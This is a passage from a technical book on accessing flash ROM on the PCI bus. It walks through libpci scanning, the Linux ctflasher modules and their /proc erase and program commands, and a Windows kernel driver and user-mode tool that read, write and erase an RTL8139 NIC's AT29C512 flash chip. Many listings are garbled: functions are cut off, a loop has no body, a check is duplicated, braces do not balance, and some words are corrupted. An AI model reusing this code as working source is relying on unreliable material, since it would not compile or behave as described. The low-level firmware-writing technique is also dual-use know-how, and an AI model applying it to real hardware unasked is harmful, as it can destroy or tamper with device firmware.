        if (a->method >= PCI_ACCESS_MAX || !pci_methods[a->method])
            a->error("This access method is not supported.\n");
        a->methods = pci_methods[a->method];
    }
    else
    {
        unsigned int i;
        for(i=0; i<PCI_ACCESS_MAX; i++)
            if (pci_methods[i])
                a->debug("Trying method %d...\n", i);
            if (pci_methods[i]->detect(a))
    ```
After the access method for the PCI bus is established, `enable_flash_write` scans the bus by calling the `pci_scan_bus` function. This function is also implemented in the access.c file. It's shown in listing 9.27.

**Listing 9.27 The pci_scan_bus Function**

```c
void pci_scan_bus(struct pci_access *a) {
    a->methods->scan(a);
}
```

Following PCI bus scanning, `enable_flash_write` initializes the so-called PCI filter to prepare to match the bus scanning result to the southbridge supported by `flash_n_burn`. This task is accomplished by calling the `pci_filter_init` function. The matching process is accomplished in the `pci_filter_match` function. Both of these functions are implemented in the filter.c file, as shown in listing 9.28.

**Listing 9.28 The pci_filter_init and pci_filter_match Functions**

```c
void pci_filter_init(struct pci_access * a, struct pci_filter *f) {
    f->bus = f->slot = f->func = -1;
    f->vendor = f->device = -1;
}

int pci_filter_match(struct pci_filter *f, struct pci_dev *d) {
    if ((f->bus >= 0 && f->bus != d->bus) ||
        (f->slot >= 0 && f->slot != d->dev) ||
        (f->func >= 0 && f->func != d->func))
        return 0;
    if (f->device >= 0 || f->vendor >= 0)
```
As you can see in listing 9.28, the bus scanning result and the supported southbridges are matched by comparing the vendor identifier and the user identifier of the corresponding PCI chips. My explanation on libpci ends here. It should be enough for you to traverse the source code on your own and understand how it works.

You can see the screenshot of bios_probe in action in figure 9.5.

Figure 9.5 shows bios_probe dumping the contents of the DFI 865PE Infinity motherboard into a file named dump.bin. The flash ROM chip in this motherboard is a Winbond W39V040FA. The explanation about methods used to access the motherboard BIOS chip ends here. Move to a more challenging theme in the upcoming sections: methods to access PCI expansion ROM within the operating system.

9.4. Accessing PCI Expansion ROM Contents in Linux

You might think that accessing the contents of PCI expansion ROM in Linux will be tough. That's not the case. There are already source codes on the Web that can help you. One open source project that deals with PCI expansion ROM is the ctflasher project. This project is at http://ctflasher.sourceforge.net. As of the writing of this book, Ctflasher was
releasing source code version 3.5.0. With this utility, you can read, erase, and verify the supported flash ROMs in the PCI expansion card directly in Linux. Ctflasher supports kernel versions 2.4 and 2.6. Currently, ctflasher only supports some network interface cards (NICs), the proprietary ctflasher card, the SiS 630 motherboard, and a flasher card that connects through the IDE port.

The architecture of ctflasher is based on an LKM. Thus, to use it, you have to load the kernel module in advance. After the LKM has been loaded, you can access the flasher through the /proc interface by using the cat command. The HOWTO file from ctflasher version 3.5.0 explains the usage as follows:

First do a "make all." All modules will be placed in modules.
Do a "cd modules." There should be 8 files.

For kernel 2.4, these files are

flash.o -- The main module, containing algorithms for programming flashprom
ct.o -- Low-level driver for ctflasher
ide_flash.o -- Low-level driver for ide-flasher
e100_flash.o -- Low-level driver for Intel nic e100
3c90xc_flash.o -- Low-level driver for Intel nic 3c905c
rtl8139_flash.o -- Low-level driver for Realtek nic 8139
sis630_flash.o -- Low-level driver for north–southbridge SiS 630 (BIOS)
via-rhine_flash.o -- Low-level driver for via Rhine nic

While for kernel 2.6, these files are

flash.ko -- The main module, containing algorithms for programming flashprom
ct.ko -- Low-level driver for ctflasher
ide_flash.ko -- Low-level driver for ide-flasher
e100_flash.ko -- Low-level driver for Intel nic e100
3c90xc_flash.ko -- Low-level driver for Intel nic 3c905c
rtl8139_flash.ko -- Low-level driver for Realtek nic 8139
sis630_flash.ko -- Low-level driver for north–southbridge SiS 630 (BIOS)
via-rhine_flash.ko -- Low-level driver for via Rhine nic

You must load the main module "flash.o" and the low-level driver (for example, ct.o). It doesn't matter what order the modules are loaded in.

For kernel 2.2 and 2.4
"insmod flash.o"
"insmod ct.o"

For kernel 2.6
"insmod flash.ko"
"insmod ct.ko"

Depending on the loaded modules you have 3 files.
/proc/.../info
/proc/.../data
The "..." stand for the hardware-dependent part of the path:
ct.o                                  ctflasher
tdirflash.o                         ide-flasher/PLCC32 and ide-flasher/DIL32
e100_flash.o                        e100-flash/device?
3c90xc flashes                     3c90xc-flash/device?
tile8139_flash.o                   tile8139-flash/device?
sis630_flash.o                     sis630-flash
via-rhine_flash.o                   via-rhine-flash/device?

So, the info file for the ide-flasher's PLCC socket is /proc/ide-flasher/PLCC32/info.

For information about the hardware and the inserted flash do
"cat /proc/.../info"

For erasing the flash do
"cat /proc/.../erase"

For reading the content of flash do
"cat /proc/.../data >my_file"

For programming (and erasing) the flash do
"cat my_image >/proc/.../data"

Verify is done automatically.

If you forget the main module "flash.o," you may get
"cat: /proc/.../data: Device or resource busy."

Because ctflasher is released under general public license and BSD license, you can use the code without charge in your software. As explained in the previous subsections, to understand ctflasher source code without wasting your precious time, you can use ctags and vi to help traversing the source code. The directory structure of the source code is shown in figure 9.6.
In figure 9.6, ctflasher source code is placed in the directory named flasher_3.5.0. There are dedicated directories for the flash model that it supports, namely, nics, bios, ct, and ide. Nics contains source code related to PCI network interface cards that ctflasher supports. Bios contains source code for a motherboard based on the SiS 630 chipset. Ct contains source code for the proprietary ctflasher hardware. Ide contains files for the IDE flasher interface.

The directory named modules is empty at first. It will be filled by ctflasher's LKM when you have finished compiling the code. The directory named build2.6 contains the makefile for kernel 2.6. Finally, the directory named flash contains the source code for the flash ROM chip supported by ctflasher.

Ctflasher source code is well structured, and it's easy to understand. For PCI NIC, you start to learn the ctflasher source code by studying the NIC support files in the nics directory and then proceed to the flash directory to learn about the flash ROM-related routines. The PCI NIC support file provides routines needed to access the flash ROM onboard, and the flash ROM support file provides the specific write, erase, and read routine for the corresponding flash ROM chip.
I explain the routine for manipulating the flash ROM chip onboard a PCI NIC in the next subsection. Even though Linux and Windows differ greatly, the principles and logic is the same for this task in both operating systems. Thus, the contents of the next subsection should help you understand ctflasher source code.

9.5. Accessing PCI Expansion ROM Contents in Windows

In this section, you will learn about techniques to manipulate PCI expansion ROM directly in Windows. Before reading about the access method, I recommend that you to review the XROMBAR concept in chapter 7, section 7.1.4. After reading that section, you might think that, just as you are accessing the system BIOS in the motherboard, you will use a memory-mapping trick to access the contents of the PCI expansion ROM, akin to the explanation in section 9.3. That trick might work for some PCI NICs. However, some PCI NICs don't use their XROMBAR. I mean, you don't access the contents of the ROM by using the XROMBAR. I give an example of such a NIC in this section, i.e., NIC based on the Realtek RTL8139\(^\text{27}\) chip.

The source code of the program that I explain here can be downloaded at http://www.megaupload.com/?d=ZW8C9CQ9. The software is a revamped version of the bios_probe that you learned in section 9.3. This is bios_probe version 0.31. It has support for one type of PCI NIC and one type of flash ROM, i.e., Realtek 8139 NIC and Atmel AT29C512 flash ROM. I explain the details of the source code in section 9.5.3. You need some prerequisite knowledge to understand it. Thus, I provide some sections for that purpose. Have fun.

9.5.1. The RTL8139 Address-Mapping Method

The contents of the flash ROM on a NIC based on the RTL8139 chip are not directly accessible in the physical memory address space of the CPU. RTL8139 maps the flash ROM in the I/O address space, not in the memory address space. The first PCI BAR in RTL8139 carries out the mapping.\(^\text{28}\) This BAR has its least significant bit hardwired to one, which means it's mapped to I/O space. The following is a condensed snippet from the RTL8139 datasheet.\(^\text{29}\) You can view and download this datasheet for free at http://pdf1.alldatasheet.com/datasheet-pdf/view/84677/ETC/RTL8139.html.

\begin{center}
\begin{tabular}{|l|}
\hline
**PCI Configuration Space Table** \\
\hline
\hline
IOAR:\(^\text{30}\) This register specifies the BASE I/O address, which is required to build an address map during configuration. It also specifies the number of \\
\hline
\end{tabular}
\end{center}

\(^{27}\) The Realtek 8139 family of chips currently consists of four variants: RTL8139A, RTL8139B, RTL8139C, and RTL8139D. I refer to them collectively as RTL8139.  
\(^{28}\) The first BAR is the 32-bit register at offset 10h in the PCI configuration space of the device.  
\(^{29}\) The datasheet is free from Realtek's website.  
\(^{30}\) IOAR is the first BAR, located at offset 10h.
As you see in the preceding datasheet snippet, the address range used by RTL8139 chip is hardwired to the I/O address space. This means that anything resides "behind" this chip and need some addressing method will be accessible only through the I/O address range claimed by RTL8139. That includes the flash ROM in the NIC.

The RTL8139 chip defines 256 registers that are relocatable in the PCI memory address space or the I/O address space. The size of each register is 1 byte. Four consecutive registers among them are used to access the contents of the flash ROM, namely, registers D4h–D7h. Note that these registers are not the PCI configuration register of the chip. They are a different set of registers. You can read and write to these registers. Table 9.3 shows the meaning and functionality of the bits within these registers.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Symbol</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>31–8</td>
<td>IOAR 31-8</td>
<td>BASE I/O Address: This is set by software to the base I/O address for the operational register map.</td>
</tr>
<tr>
<td>7–2</td>
<td>IOSIZE</td>
<td>Size Indication: Read back as 0. This allows the PCI bridge to determine that the RTL8139C(L) requires 256 bytes of I/O space.</td>
</tr>
<tr>
<td>1</td>
<td>—</td>
<td>Reserved</td>
</tr>
<tr>
<td>0</td>
<td>IOIN</td>
<td>I/O Space Indicator: Read only. Set to 1 by the RTL8139C(L) to indicate that it is capable of being mapped into I/O space.</td>
</tr>
</tbody>
</table>

After reading table 9.3, it's clear that to access the flash ROM, you need to do a read/write operation to register D4h–D7h of RTL8139. However, you have to determine...
where they are located in the I/O address space, because they are relocatable because of the nature of the PCI bus.

The I/O base is detected with the following steps:

1. Scan the PCI bus to check for the presence of the RTL8139 PCI device, i.e., a PCI device with a vendor identifier of \texttt{10ECh} and device identifier of \texttt{8139}.
2. Once RTL8139 has been located, read the first BAR in the device to determine its I/O base address. Remember that the last two bits in the BAR value must be discarded because it's only a hardwired bit to aid in determining that device is mapped to the I/O space. They are not to be used in addressing.

A single byte from the flash ROM "behind" RTL8139 must be read in two steps, as follows:

1. Write the address of the byte inside the flash ROM that you want to read. This step must be carried out as the control bits in register \texttt{D6h} are set as follows:
   a. Set the \texttt{SWRWE} bit to one. This enables access to flash ROM through RTL8139.
   b. Set the \texttt{WEB} bit to one. The pin that this bit controls is active low. Thus, when you set this bit to one, the pin is deactivated, which means you are not doing a write transaction to the flash ROM chip.
   c. Set the \texttt{ROMCSB} bit to zero. The pin that this bit controls is active low. Thus, when you set this bit to zero, you effectively activate the "chip select" line where the pin is attached.
   d. Set the \texttt{OEB} bit to zero. The pin that this bit controls is active low. Thus, when you set this bit to zero, you effectively activate the "output enable" line where the pin is attached.
2. Read the value from register \texttt{D7h} in Realtek 8139.

This logic is similar to reading the contents of the PCI configuration register.

As for writing a single byte, it can't be done, because RTL8139 only supports sectored flash ROM. Thus, when you want to change a single byte in the flash ROM, you have to write the whole sector and you have to set the values of the four control bits in register \texttt{D6h} accordingly. The write operation is a bit more complex. Thus, I provide in figure 9.7 a block diagram to show the process of writing the whole sector.
Figure 9.7 Method for writing a single sector to flash ROM in RTL8139 NIC

Figure 9.7 will be clear when you arrive in the source code implementation. At this point, you have mastered the prerequisite to work with RTL8139.

9.5.2. The Atmel AT29C512 Access Method
Almost all aspects of carrying out transactions with Atmel AT29C512 through the RTL8139 chip were explained in the previous subsection. The remaining information specific to AT29C512 explains how to erase the chip contents and how long the delay must be when you have written a single sector to it.

AT29C512 needs a 10-msec (maximum) delay to write a single sector. However, my experiment shows that an approximately 9-msec delay is enough.

To delete the entire chip, you need to write specific values to specific addresses in the chip. Doing so is described in Software Chip Erase Application Note for AT29 Series Flash Family. These bytes sequence will be shown in the source code implementation. You can find the related documentation online at http://www.atmel.com/dyn/products/product_card.asp?family_id=624&family_name=Flash Memory&part_id=1803.

9.5.3. Implementing the Methods in Source Code

I'm using the bios_probe source code as the starting point to implement the methods to access the flash ROM in RTL8139 in Windows. I'm doing it to reduce development time. However, I have to remind you that current support for PCI expansion ROM in the source is a "quick hack." It's not seamlessly integrated into the overall source code because a strict timing requirement dictates that some part of the code must run in the device driver. The modifications I use to allow support for PCI expansion ROM in bios_probe are adding some new files for the user-mode application and adding new files to the device driver. The latter adds support for the time-critical part of the code. The rest of the files are also modified to accommodate these changes. These are the new files in the user-mode application source code:

- **pci_cards.h.** This file defines the data structures to virtualize access to the PCI expansion card.
- **pci_cards.c.** This file virtualizes access to PCI expansion cards.
- **rtl8139.h.** This file declares read and write functions to flash ROM in RTL8139 NIC.
- **rtl8139.c.** This file implements read and write functions to flash ROM in RTL8139 NIC.
- **at29c512.h.** This file declares read, write, erase, and probe functions for AT29C512 flash ROM.
- **at29c512.c.** This file implements read, write, erase, and probe functions for AT29C512 flash ROM.

These are the new files in the device driver source code:

- **rtl8139_hack.h.** This file declares a specific function to write to AT29C512 flash ROM when it's placed in RTL8139 NIC.
- **rtl8139_hack.c.** This file implements the function declared in rtl8139_hack.h.
Before I show you the content of these new files, I explain the changes that I made to accommodate this new feature in the other source code files. The first change is in the main file of the user-mode application: flash_rom.c. I added three new input commands to read, write, and erase the contents of PCI expansion ROM.

Listing 9.29 Changes in flash_rom.c to Support PCI Expansion ROM

```c
/*
 * file: flash_rom.c
 */
// Irrelevant code omitted
#include "pci_cards.h"

// Irrelevant code omitted
void usage(const char *name)
{
    printf("usage: %s [-rwv] [-c chipname][file]\n", name);
    printf("%s -pcir [file]\n", name);
    printf("%s -pciw [file]\n", name);
    printf("%s -pcie \n", name);

    printf("-r: read flash and save into file\n"
    "-rv: read flash, save into file and verify result"
    "against contents of the flash\n"
    "-w: write file into flash (default when file is"
    "specified)\n"
    "-wv: write file into flash and verify result against"
    "original file\n"
    "-c: probe only for specified flash chip\n"
    "-pcir: read pci ROM contents to file\n"
    "-pciw: write file contents to pci ROM and verify the"
    "result\n"
    "-pcir: read pci ROM contents to file\n"
    "-pcie: erase pci ROM contents\n");
    exit(1);
}

// Irrelevant code omitted
int main (int argc, char * argv[])
{
    // Irrelevant code omitted
    } else if(!strcmp(argv[1],"-pcir")) {
        pci_rom_read = 1;
        filename = argv[2];
    
    } else if(!strcmp(argv[1],"-pciw")) {
        pci_rom_write = 1;
        filename = argv[2];
    
    } else if(!strcmp(argv[1],"-pcie")) {
```
pci_rom_erase = 1;

// Irrelevant code omitted

// If it's a PCI probing task, handle it and terminate after that
if( pci_rom_read )
{
    // Find Realtek 8139 NIC
    card = find_pci_card( 0x10EC, 0x8139);
    if( NULL != card )
    {
        probe_pci_rom(card);
    }

    if( (NULL != card) && ( NULL != card->rom ) )
    {
        printf("PCI ROM type = %s \n", card->rom->name);
        size = card->rom->total_size * 1024;
        buf = (char *) calloc(size, sizeof(char));

        if(buf == NULL)
        {
            // Irrelevant code omitted
            return 0;
        }

        if((image = fopen( filename, "wb" )) == NULL )
        {
            // Irrelevant code omitted
            return 0;
        }

        card->rom->read(card, buf);

        fwrite(buf, sizeof(char), size, image);
        fclose(image);
        free(buf);
        printf("done\n");
    }

    CleanupDriver(); // Cleanup driver interface
    return 0;
}
else if(pci_rom_write)
{
    // Find Realtek 8139 NIC
    card = find_pci_card( 0x10EC, 0x8139);
    if( NULL != card )
    {
probe_pci_rom(card);
}

if( (NULL != card) && ( NULL != card->rom ) )
{
    printf("PCI ROM type = %s \n", card->rom->name);
    size = card->rom->total_size * 1024;
    buf = (char *) calloc(size, sizeof(char));
    if(buf == NULL)
    {
        // Irrelevant code omitted
        return 0;
    }

    if((image = fopen( filename, "rb" )) == NULL ) {
        // Irrelevant code omitted
        return 0;
    }

    fread (buf, sizeof(char), size, image);
    card->rom->write(card, buf);
    fclose(image);
    free(buf);
    printf("done\n");
}

CleanupDriver(); // Cleanup driver interface
return 0;
} else if(pci_rom_erase)
{
    // Find Realtek 8139 NIC
    card = find_pci_card( 0x10EC, 0x8139);
    if( NULL != card )
    {
        probe_pci_rom(card);
    }

    if( (NULL != card) && ( NULL != card->rom ) )
    {
        printf("PCI ROM type = %s \n", card->rom->name);
        card->rom->erase(card);
    }

    CleanupDriver(); // Cleanup driver interface
    return 0;
The files to interface with the driver in the user-mode application (direct_io.c and interfaces.h) are changed as well.

Listing 9.30 Changes in direct_io.c to Support PCI Expansion ROM

```c
void WriteRtl8139RomHack(ULONG ioBase, ULONG bufLength, UCHAR * buf)
{
    DWORD bytesReturned;
    
    // Set up the I/O base for RTL8139 in the device extension
    if(ioBase == 0) return;
    
    if( INVALID_HANDLE_VALUE == hDevice) {
        printf("(WriteRtl8139RomHack) Error: the driver handle is "
               "invalid!\n");
        return;
    }
    
    if( INVALID_HANDLE_VALUE == hDevice) {
        printf("(WriteRtl8139RomHack) Error: the driver handle is "
               "invalid!\n");
        return;
    }
    
    if( FALSE == DeviceIoControl( hDevice,
                                   IOCTL_RTL8139_IOBASE_HACK,
                                   NULL,
                                   0,
                                   &ioBase,
                                   sizeof(ioBase),
                                   &bytesReturned,
                                   NULL))
    {
        DisplayErrorMessage(GetLastError());
        return;
    }
    
    // Instruct the driver to start writing into the flash ROM
    if( INVALID_HANDLE_VALUE == hDevice) {
        printf("(WriteRtl8139RomHack) Error: the driver handle is "
               "invalid!\n");
    }
}
```
Listing 9.31 Changes in interfaces.h to Support PCI Expansion ROM

// Irrelevant code omitted
#define IOCTL_RTL8139_ROM_WRITE_HACK    CTL_CODE(FILE_DEVICE_UNKNOWN,
                                 0x080B, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_RTL8139_IOBASE_HACK   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x080C,
                                      METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
// Irrelevant code omitted

Note that interfaces.h is used both in the driver and in the user-mode application source code. I define two new IOCTL codes to support accessing the PCI expansion ROM.

On the driver side, I made a small change to the device extension data structure to support RTL8139 NIC. It's shown in listing 9.32.

Listing 9.32 Change in bios_probe.h to Support PCI Expansion ROM

typedef struct _DEVICE_EXTENSION{
    MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO];
    ULONG rtl8139IoBase; // Quick hack!
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

The core driver file, bios_probe.c, is also adjusted to accommodate the changes. It's shown in listing 9.33.

Listing 9.33 Changes in bios_probe.c to Support PCI Expansion ROM

// Irrelevant code omitted
#include "rtl8139_hack.h"

// Irrelevant code omitted
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject,
                       IN PUNICODE_STRING RegistryPath )
NTSTATUS DispatchIoControl(IN PDEVICE_OBJECT pDO, IN PIRP pIrp)
{
    NTSTATUS status = STATUS_SUCCESS;
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(pIrp);
    ULONG * pIoBase = NULL;
    ULONG bufLength, i;
    UCHAR * buf;
    PDEVICE_EXTENSION pDevExt;

    switch(irpStack->Parameters.DeviceIoControl.IoControlCode)
    {
    // Irrelevant code omitted
    case IOCTL_RTL8139_IOBASE_HACK: // Must be called before
        // IOCTL_RTL8139_ROM_WRITE_HACK
        // (writing into RTL8139 ROM)
        {
            if(irpStack->Parameters.DeviceIoControl.OutputBufferLength
                >= sizeof(ULONG)) {
                pIoBase = (ULONG*) MmGetSystemAddressForMdlSafe(
                    pIrp->MdlAddress, NormalPagePriority);
                pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
                pDevExt->rtl8139IoBase = *pIoBase;
            } else {
                status = STATUS_BUFFER_TOO_SMALL;
            }
        } break;
    case IOCTL_RTL8139_ROM_WRITE_HACK: // Must be called after
        // IOCTL_RTL8139_IOBASE_HACK
        {
            bufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
            DbgPrint("IOCTL_RTL8139_ROM_WRITE_HACK: ");
            DbgPrint("buffer length = %d\n", bufLength);
            buf = (UCHAR*) MmGetSystemAddressForMdlSafe(
                pIrp->MdlAddress, NormalPagePriority);
        } break;
    // Irrelevant code omitted
}
// Irrelevant code omitted
I used the call to the DbgPrint function in listing 9.33 when I was debugging the device driver. You can use the DebugView utility from Sysinternals to view the debug messages. DebugView is free of charge. To use it, run DebugView and activate the Capture|Capture Kernel, Capture|Pass-Through, and Capture|Capture Events options. Disable the Capture|Capture Wind32 option because it will clutter the output with unnecessary messages. The sample output for this driver is shown in figure 9.8.

![DebugView output for the bios_probe driver]

You already know the changes in the bios_probe files that you learned in section 9.3 to accommodate the new PCI expansion ROM feature. There are the new files in source code version 0.31. Start with the new files in the driver.

Listing 9.34 Contents of rtl8139.hack.h

```c
#ifndef __RTL8139_HACK_H__
#define __RTL8139_HACK_H__
#include<ntddk.h>
```
void WriteRtl8139RomHack(ULONG ioBase, ULONG bufLength, UCHAR * buf);
#endif //__RTL8139_HACK_H__

Listing 9.35 Contents of rtl8139_hack.c

#include <ntddk.h>

enum {
    SECTOR_SIZE = 128,
};

// Count to a billion and time it; if it's < 1 sec, count to 10 billion; etc.
static unsigned long micro = 1;

static void usec_delay(int time)
{
    volatile unsigned long i;
    for(i = 0; i < time * micro; i++)
    
}

static int usec_calibrate_delay()
{
    int count = 1000;
    unsigned long timeusec;
    int ok = 0;
    LARGE_INTEGER freq, cnt_start, cnt_end;

    DbgPrint("Setting up microsecond timing loop\n");

    // Query the number of counts per second
    KeQueryPerformanceCounter(&freq);
    if( freq.QuadPart < 1000000)
    {
        return 0; // fail
    }

    while (! ok) {
        cnt_start = KeQueryPerformanceCounter(NULL);
        usec_delay(count);
        cnt_end = KeQueryPerformanceCounter(NULL);

        timeusec = (ULONG)(((cnt_end.QuadPart - cnt_start.QuadPart) *
            1000000) / freq.QuadPart);

        count *= 2;
        if (timeusec < 1000000/4)
            continue;

    }
ok = 1;
}

// Compute 1 msec; that will be count / timeusec
micro = count / timeusec;

DbgPrint("%ldM loops per second\n", (unsigned long)micro);

return 1; // Success
}

static UCHAR __inline inb(UCHAR port)
{
    UCHAR val;
    __asm
    {
        pushad        ;// Save all register contents
        mov dx, port  ;// Fetch the input port address
        in  al, dx    ;// Read the byte from the port
        mov val, al   ;// Put the result into the local variable
        popad         ;// Restore all saved register values
    }

    return val;
}

static void __inline outl(ULONG value, USHORT port)
{
    __asm
    {
        pushad        ;// Save all register contents
        mov dx, port  ;// Fetch the input port address
        mov eax, value;// Read the value to be written directly from
                      // user-mode memory
        out dx, eax   ;// Write the bytes to the device
        popad         ;// Restore all saved register values
    }
}

static void __inline WriteRtl8139RomByte(UCHAR ioBase, UCHAR value,
                                       ULONG addr)
{
outl((addr & 0x01FFFF)|0x0A0000|(value<<24), ioBase + 0xD4);
outl((addr & 0x01FFFF)|0x1E0000|(value<<24), ioBase + 0xD4);
}

static UCHAR __inline ReadRtl8139RomByte(USHORT ioBase, ULONG addr )
{
    outl((addr & 0x01FFFF)|0x060000, ioBase + 0xD4);
    return inb(ioBase + 0xD7);
}

void WriteRtl8139RomHack(ULONG baseAddr, ULONG bufLength, UCHAR * buf)
{
    ULONG i, j, sectorStartAddr;
    USHORT ioBase;

    DbgPrint("WriteRtl8139RomHack: baseAddr = %X\n", baseAddr);

    // // check where the operational registers mapped
    // // if( baseAddr & 1 ) // Is it I/O mapped?
    //
    if( baseAddr & 1 ) // Is it I/O mapped?
    {
        ioBase = ((USHORT)baseAddr) & ~3 ;
        DbgPrint("WriteRtl8139RomHack: ioBase = %X\n", ioBase);
    }
    else // No, it's memory mapped, unsupported in this version
    {
        return;
    }

    if(0 == usec_calibrate_delay())
    {
        DbgPrint("WriteRtl8139RomHack: Failed to initialize delay\n");
        return;
    }

    // // Warning! The flash ROM writing command here only applies to
    // // the AT29C512 chip
    // // for( i = 0; i < bufLength; i+= SECTOR_SIZE )
    {
        __asm{
            pushad;
            pushfd;
            cli;
        }
    }
}
Listing 9.34 declares the `WriteRtl8139RomHack` function, which is used by the driver to respond to the `IOCTL_RTL8139_ROM_WRITE_HACK` request from the user-mode application. In listing 9.35, this function writes the contents of the file buffer\(^1\) to AT29C512 flash ROM. Note that the file buffer in the user-mode application is not copied to a nonpaged pool in the kernel mode. This is because of the nature of the IOCTL code that specifies the type of the buffering as `METHOD_OUT_DIRECT`: the I/O manager in Windows will lock down the user buffer pointed to by the `lpOutBuffer` parameter\(^2\) in the `DeviceIoControl` function to physical memory and construct the necessary page tables in kernel-mode context to access it. The `buf` pointer in `WriteRtl8139RomHack` is a pointer in the kernel-mode context to this buffer. Listing 9.35 also shows how to write to flash ROM. The `for` loop writes one sector\(^3\) at a time and waits approximately 9 msec after loading the sector’s bytes before proceeding to the next sector. This delay is needed to wait for the flash ROM to finish writing the entire sector.

Proceed to the new files in the user-mode application. The coupling between the PCI expansion ROM feature and the rest of the `bios_probe` code is provided by the `pci_card.h` file, as shown in listing 9.36.

---

\(^1\) This buffer is filled in the user-mode application.  
\(^2\) The fifth parameter of the `DeviceIoControl` function.  
\(^3\) One sector is 128 bytes in AT29C512.
Listing 9.36 pci_cards.h

```c
#ifndef __PCI_CARDS_H__
#define __PCI_CARDS_H__

/*
 * NOTE: The functions in this unit are ONLY available if the bios_probe
 *       device driver is working
 */
#include "libpci/pci.h"

struct pci_rom;

struct pci_card {
    char * name;
    struct pci_dev device;
    unsigned char (*read_rom_byte) ( struct pci_card *card,
                                  unsigned long addr);
    unsigned char (*write_rom_byte) (struct pci_card *card,
                                      unsigned char value,
                                      unsigned long addr);
    struct pci_rom * rom;
};

struct pci_rom {
    int manufacturer_id;
    int model_id;
    int total_size; // In kilobytes
    int sector_size; // In bytes
    int (*probe)(struct pci_card *card);
    int (*erase)(struct pci_card *card);
    int (*write)(struct pci_card *card, unsigned char *buf);
    int (*read)(struct pci_card *card, unsigned char *buf);
};

struct pci_card* find_pci_card( unsigned short vendor_id,
                                unsigned short device_id);
struct pci_rom* probe_pci_rom(struct pci_card *card);

extern struct pci_card pci_cards[];
extern struct pci_rom pci_roms[];

#endif //__PCI_CARDS_H__
```

The implementation of the functions and data structures declared in pci_cards.h is in the pci_cards.c file, as shown in listing 9.37.

Listing 9.37 pci_cards.c

```c
#include <stdlib.h>
```
#include <stdio.h>
#include "libpci/pci.h"
#include "direct_io.h"
#include "pci_cards.h"
#include "at29c512.h"
#include "rtl8139.h"

struct pci_card pci_cards[] = {
    { "RTL8139", {NULL, 0xFF, 0, 0, 0x10EC, 0x8139, 0, 0,0,0,0,0,0,0,
                  0,0,0,0,0,0, 0, 0, NULL, NULL, 0/*header type*/, NULL},
                  read_rtl8139_rom_byte, write_rtl8139_rom_byte, NULL},
    {NULL}, // End of the array indicator, a NULL device name
};

struct pci_rom pci_roms[] = {
    {"At29C512", ATMEL_ID, AT_29C512, 64, 128, probe_at29c512,
     erase_at29c512, write_at29c512, read_at29c512},
    {NULL}, // End of the array indicator
};

static void copy_device(struct pci_card * card, struct pci_dev * dev)
{
    unsigned short i;
    // // Copy the contents of dev to card->device
    //
    printf("pci card found, name = %s ; vendor_id = %04X ; dev_id = "
           "%04X\n", card->name, dev->vendor_id, dev->device_id);
    card->device.bus = dev->bus;
    card->device.dev = dev->dev;
    card->device.func = dev->func;
    card->device.rom_base_addr = dev->rom_base_addr;
    card->device.rom_size = dev->rom_size;
    for( i = 0 ; i < 6; i++ )
    {
        card->device.base_addr[i] = dev->base_addr[i];
        card->device.size[i] = dev->size[i];
        printf("base address [%d] = %X\n", i, card->device.base_addr[i]);
        printf("size [%d] = %X\n", i, card->device.size[i]);
    }
}

struct pci_card* find_pci_card(unsigned short vendor_id,
                                  unsigned short device_id)
{
    struct pci_access *pacc;
    struct pci_dev *dev;
    unsigned int i;
    struct pci_card *card = NULL;

    //
    // Is it supported in the pci_cards objects?
    //
    for(i = 0; pci_cards[i].name != NULL ; i++)
    {
        card = &pci_cards[i];
        if( (card->device.vendor_id == vendor_id) &&
            (card->device.device_id == device_id) )
        {
            break;
        }
    }

    if( card->name == NULL )
    {
        return NULL;
    }

    //
    // Check for the existence of the physical device
    //
    pacc = pci_alloc();       // Get the pci_access structure

    // Set all options you want; I stick with the defaults
    pci_init(pacc);           // Initialize the PCI library
    pci_scan_bus(pacc);       // Get the list of devices
    for(dev=pacc->devices; dev; dev=dev->next)// Repeat for all devices
    {
        pci_fill_info(dev, PCI_FILL_IDENT|PCI_FILL_BASES|
                        PCI_FILL_ROM_BASE|PCI_FILL_SIZES); // Fill in needed header info
        if( (card->device.vendor_id == dev->vendor_id) &&
            (card->device.device_id == dev->device_id))
        {
            //
            // Fill the device object inside card
            //
            copy_device( card, dev );
            pci_cleanup(pacc);       // Close everything
            return card;
        }
    }
}
The function pointer members of the \texttt{pci_cards} array in \texttt{pci_cards.c} are implemented in the \texttt{rtl8139.c} file, as shown in listing 9.38.

Listing 9.38 \texttt{rtl8139.c}

```c
#include <stdio.h>
#include "direct_io.h"
#include "pci_cards.h"
#include "delay.h"

unsigned char read_rtl8139_rom_byte (struct pci_card *card, unsigned long addr)
{
    unsigned short io_base = 0;
    unsigned long mem_base = 0;
    unsigned char val;

    // Check where the operational registers are mapped
    // if( card->device.base_addr[0] & 1 ) // Is it I/O mapped?
    {
```
The functions in listing 9.38 provide the read and write access to flash ROM in RTL8139 NIC.

The last file that I'm going to explain is the at29c512.c file. This file contains the functions used to manipulate the content of the AT29C512 chip. It's shown in listing 9.39.

Listing 9.39 at29c512.c

```c
#include <stdio.h>
#include <windows.h>
#include "pci_cards.h"
```
#include "delay.h"
#include "at29c512.h"
#include "direct_io.h" // Quick hack

static void reset_at29c512(struct pci_card *card)
{
    myusec_delay(10000);
    card->write_rom_byte( card, 0xAA, 0x5555 );
    card->write_rom_byte( card, 0x55, 0x2AAA );
    card->write_rom_byte( card, 0xF0, 0x5555 );
    myusec_delay(10000);
}

static __inline void wait_for_toggle_bit(struct pci_card *card)
{
    unsigned int i = 0;
    char tmp1, tmp2;
    tmp1 = card->read_rom_byte(card, 0) & 0x40;
    while (i++ < 0xFFFFFFF) {
        tmp2 = card->read_rom_byte(card, 0) & 0x40;
        if (tmp1 == tmp2) {
            break;
        }
        tmp1 = tmp2;
    }
}

int probe_at29c512(struct pci_card *card)
{
    unsigned char manufacturer_id, device_id;
    reset_at29c512(card);
